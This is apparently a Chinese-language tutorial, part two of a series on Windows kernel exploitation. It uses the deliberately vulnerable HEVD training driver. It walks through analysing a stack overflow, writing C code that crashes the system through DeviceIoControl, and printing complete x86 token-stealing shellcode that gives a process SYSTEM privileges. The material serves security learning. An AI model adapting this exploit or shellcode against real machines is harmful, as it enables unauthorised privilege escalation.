Windows内核漏洞利用教程Part2:栈溢出
Windows内核漏洞系列教程。
前言
在Part1我们配置好了调试环境,Part2中我们将走进Windows内核空间,首先我们通过内核中一个的栈溢出的例子了解到 Driver-exploitation 。
环境准备
- HEVD drive(包含漏洞的驱动)
- OSR Loader(驱动加载程序)
安装内核驱动
本节中我们主要针对HEVD driver上的栈溢出漏洞进行练习,HEVD是hacksysteam开源的一个漏洞练习平台,关于驱动你可以在github上下载源码自行编译,也可以直接使用已经编译好的驱动模块。然后我们就可以在Vmware中使用OSRLoader加载HEVD drive了。
在WinDbg中查看驱动加载情况:
漏洞分析
分析源码看到在向内核 KernelBuffer[512] 拷贝数据时,并没有检查变量 UserBuffer 的大小导致溢出:
不过在调试真正的内核漏洞往往没有源码,再次尝试逆向分析漏洞成因。首先在IDA中找到驱动何时会调用StackOverflow模块:
然后从函数调用关系,我们主要看 IrpDeviceIoCtlHandler 函数,知道了当IOCTL为0x222003时StackOveflow模块被调用:
之后跟随函数调用会进入 TriggerStackOverflow 函数,可以看到KernelBuffer的长度为 0x800 ,当输入数据超过长度后就会导致栈溢出了。
漏洞利用(EXP)
导致BSOD
找到漏洞成因之后我们就要开始尝试exploit,为了直接和驱动交互要使用DeviceIoControl函数。这里我们就不重复造轮子了直接使用HEVD中框架源码,然后自己来开发Exploit模块,首先我们构造出能BSOD的Poc这里我选择C来写,但作为练习我在最后会同时给出C和Python的Exp。
DWORD WINAPI StackOverflwThread(LPVOID Parameter) {
...
// 第一次使用的Payload
// char BSODPayload[(BUFFER_SIZE) * sizeof(ULONG)] = { 0x41 };
char BSODPayload[(BUFFER_SIZE + 20) * sizeof(ULONG)] = { 0x41 };
for (size_t i = 0; i < 21; i++) {
size_t offset = (BUFFER_SIZE + i) * sizeof(ULONG);
for (size_t j = 0; j < 4; j++) {
BSODPayload[offset + j] = 0x41 + i;
}
}
...省略部分源码...
DeviceIoControl(hFile,i
HACKSYS_EVD_IOCTL_STACK_OVERFLOW, //0x800
(LPVOID)BSODPayload,
(DWORD)BSODPayloadSize,
NULL,
0,
&BytesReturned,
NULL);
...
}
我们发送了两次Payload,其中第一次的长度为0x800,并没有导致BSOD,第二次长度为0x850到达了目的。
通过分析Crash,我们可以计算出在偏移为 (BUFFER_SIZE + 9) * 4 处覆盖了返回地址。
构造shellcode
现在我们已经能对EIP进行控制了,但是由于DEP保护机制,我们并不能直接执行到shellcode,绕过DEP的方法有很多 (之后在我的博客会给出一个总结),这里假设环境是用门拥有本地执行权限,所以我们可以分配一段可执行内存,然后讲shellcode放到这段内存当中去,而HEVD源码给了一种更简单的解决方法,直接讲Payload编译到代码段中,这样只需要用 TokenStealingPayloadWin7 的地址覆盖掉ret的返回值就到达我们的目的了。
由于在内核中截取了EIP,所以在执行完shellcode后一定要恢复内存环境,否则会导致BSOD。在shellcode中我们首先保存寄存器值,然后获取当前进程的EPROCESS结构,同理system进程(csrss.exe)的EPROCESS,然后用system进程的Token覆盖当前进程的Token,达到提取的目的,最后恢复寄存器的值。
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
;with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
; Kernel Recovery Stub
xor eax, eax ; Set NTSTATUS SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
最终提权成功:
小结
- 内核的调试要比一般软件调试更为繁琐,每次蓝屏之后你都要重再来。
- 在github上给出了Python版本的EXP,主要利用了ctypes库,但是Windows默认并没有py环境,你可以考虑py2exe。
- 对内核shellcode的编写一定要注意恢复内核环境,一般软件crash之后无所谓,但是对操作系统不行。